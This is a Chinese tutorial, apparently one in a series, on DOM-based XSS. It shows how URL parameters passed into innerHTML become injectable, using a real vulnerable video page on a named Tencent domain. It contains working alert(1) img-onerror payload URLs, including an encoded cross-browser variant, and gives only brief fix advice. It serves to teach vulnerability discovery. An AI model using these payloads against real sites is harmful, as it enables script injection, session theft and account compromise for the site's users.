来源：自学PHP网 时间：2015-04-17 11:59 作者： 阅读:次
[导读] 上一篇开始说Dom Xss了，我们说的是显式输出的情况，即我们可以在右键查看源代码的时候，看到我们所输出的内容。而有一些时候，输出操作我们是看不见的。它们通常发生在javascrip...
|
上一篇开始说Dom Xss了，我们说的是显式输出的情况，即我们可以在右键查看源代码的时候，看到我们所输出的内容。而有一些时候，输出操作我们是看不见的。它们通常发生在javascript代码中。譬如：var x=location.href; 这句Javascript实际上进行了一个隐藏的输出操作，即将location.href的内容输出到了x变量中。一起来看看相关的例子吧～
前注： 1-4 是普通原理，没看明白的话，可以从5开始，结合实际例子看。
1. 本来是有另外一个例子的，不过不知道是腾讯已经给修复了，还是之前测试的时候人品好，偶尔碰上了，总之现在用不上了。
2. 这样一来，我们就只好用一个稍微复杂一点点的例子了。
3. 在说实际例子前，我们来说一个前端开发人员非常习惯使用的一段代码。下面大致写下伪代码。
function getParam(参数名){
//获取地址栏参数,通常是 a=1&b=2&c=3;
var x=location.search;//或者是location.hash
//此时x="?a=1&b=2&c=3";
//根据[参数名]取出参数名对应的值
//例如 参数名=a， 则y=1
//例如 参数名=b, 则y=2
//至于这里怎么实现这个功能，可以用循环，可以用indexOf，可以用正则
var y= 参数名对应的参数值;
//返回y
return y;
}
它的作用呢？就是从地址栏的参数里取出内容。譬如：
http://www.some.com/2.html?name=shouzi&age=20
我们在2.html，要显示 name 对应的值。对应的代码则非常可能下面这样写：
<div id="nick">加载中...</div>
<script>
var a=getParam("name"); //获取地址栏里的name参数，即shouzi
document.getElementById("nick").innerHTML=a;
</script>
4. 上面是普通开发人员为了实现功能而写的代码，如果没有安全考虑，就会存在问题。
如果上面的地址变为了：
http://www.some.com/2.html?name=<img src=1 onerror=alert(1)>&age=20
那么变量a将会等于 <img src=1 onerror=alert(1)>
document.getElementById("nick").innerHTML=a;
即变成了
document.getElementById("nick").innerHTML="<img src=1 onerror=alert(1)>";
这样就变成了 教程 8 中的情景，从而触发XSS。
5. 接着我们看一个实际的例子。
http://qt.qq.com/video/play_video.htm?sid=aaaaaa
和原来的不同，我们在源代码里搜索不到东西的哦～
 那可能这里有人会有一个疑问了。那我们怎么知道有没有漏洞呢？ 别担心，方法是有的。
这里以chrome为例，按F12，打开调试工具，见下图
 和查看源代码没有什么不同，只是这次是在调试工具里看而已。
6. 通过上面的方式，确定【可能】有漏洞之后。我们可以有2个方式来进行下一步。
6.1 直接根据调试工具里看到的HTML代码情况，来构造利用代码。 优点：省时间，缺点：如果对方有一定过滤，就很难构造
6.2 定位到与这个缺陷参数sid相关的JS代码，再来构造利用代码。优点：能利用一些复杂的情况， 缺点：耗时间。
7. 对于新手来说，先看6.1的情况。看到步骤5里面的那个图。我们可以构造以下代码。
<object width="100%" height="100%" id="f" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">
<param name="movie" value="aaaaaa"></object><img src="1" onerror="alert(1)">
...其它的省略了...
</object>
对应的图片解析：
 进而“试探性”的测试一下利用代码，因为我们不知道对方会不会过滤掉 “双引号”，“括号”之类的，只能试试了。。
http://qt.qq.com/video/play_video.htm?sid=aaaaaa"></object><img src="1" onerror="alert(1)
没反应，我们继续看看调试工具，发现，双引号，变成了 \\" 。
 根据这个情况，我们可以进一步修改代码。<img>标签里不使用双引号。
http://qt.qq.com/video/play_video.htm?sid=aaaaaa"></object><img src=1 onerror=alert(1)>
这次OK啦。
 可以看到，这种方式，写利用代码很快。
8. 再来看看 6.2 的方法。既然我们知道了，sid这个参数会被使用。 那么我们的目标是，javascript的代码里哪里使用了sid这个参数呢？
9. 我们首先，F12打开调试工具，点【Resources】，再点Frames, 然后 Ctrl+ F搜索 "sid" 或者 'sid'
 我们运气很好，一下就定位到了一个sid。
10. 可以看到是 getUrlPara("sid")，从单词，我们不难猜出，getUrlPara就是前面我们提到的 “获取地址栏参数“的函数。
为了进一步确定，我们可以很方便的在console里查看getUrlParam函数是啥样的。
 可以看到，实际上getUrlParam是对<, > 做了过滤， 但是由于chrome浏览器自身的XSS防御机制，导致location.href获取的location.href是已经经过编码的。从而导致未过滤。
如下图：
 11. 按道理，location.href里的<, > ," 已经变成了 %3c, %3e,%22已经被过滤了，不会有XSS了，为什么还可以呢？我们进一步往后看。
 看来，关键就是这里，这里有一步decodeURIComponent的操作，会将 %3c, %3e，又变回 <, >
供参考的完整的缺陷代码。
var sid=getUrlPara("sid");
if(!sid || sid==""){
document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-10px;">抱歉，视频不存在！</div>';
}else{
var flash_ver=GetSwfVer();
if(flash_ver == -1){
document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-30px;">抱歉，您还没有安装flash插件<br/>请<a target="_blank" href="http://www.macromedia.com/go/getflashplayer">下载</a>10.0以上的flash播放器<br/>安装flash后，请<a href="javascript:location.reload();">点此刷新</a></div>';
}else if(flash_ver.split('.')[0]<10){
document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-30px;">抱歉，您的flash版本过低<br/>请<a target="_blank" href="http://www.macromedia.com/go/getflashplayer">下载</a>10.0以上的flash播放器<br/>安装flash后，请<a href="javascript:location.reload();">点此刷新</a></div>';
}else{
sid=decodeURIComponent(sid).trim().replace(/([\'\"])/g,'\\\\$1');
if(!is_valid_sid(sid)){
document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-10px;">无法打开视频文件，视频地址不合法！</div>';
}else{
insertFlash("dv_video","f",sid,"100%","100%");
}
}
}
12. 接着，会调用 insertFlash("dv_video","f",sid,"100%","100%");
insertFlash里，也并没有对sid进行任何过滤。
function insertFlash(elm, eleid, url, w, h) {
if (!document.getElementById(elm)) return;
var str = '';
str += '<object width="' + w + '" height="' + h + '" id="' + eleid + '" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">';
str += '<param name="movie" value="' + url + '" />';
str += '<param name="allowScriptAccess" value="never" />';
str += '<param name="allowFullscreen" value="true" />';
str += '<param name="wmode" value="transparent" />';
str += '<param name="quality" value="autohigh" />';
str += '<embed width="' + w + '" height="' + h + '" name="' + eleid + '" src="' + url + '" quality="autohigh" swLiveConnect="always" wmode="transparent" allowScriptAccess="never" allowFullscreen="true" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>';
str += '</object>';
document.getElementById(elm).innerHTML = str
}
图片解析：
 13. 根据以上分析，我们的利用代码可以写为。注意，%3E,%3C的编码是关键。
http://qt.qq.com/video/play_video.htm?sid=aaaaaa%22%3E%3C/object%3E%3Cimg%20src=1%20onerror=alert(1)%3E
非常值得说明的是：
如果采用6.1的方法，我们得到的利用代码是
http://qt.qq.com/video/play_video.htm?sid=aaaaaa"></object><img src=1 onerror=alert(1)>
!! 这个代码在IE下，是没法XSS的。
而通过6.2的方法，去分析JS代码，我们则可以构造出通用的XSS代码。
http://qt.qq.com/video/play_video.htm?sid=aaaaaa%22%3E%3C/object%3E%3Cimg%20src=1%20onerror=alert(1)%3E
这也反应了 6.1 和 6.2 方法各自的优缺点。
修复方案：
1. 修复过滤上的逻辑问题。
2. 注意不同浏览器中，location.href的不同点。
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
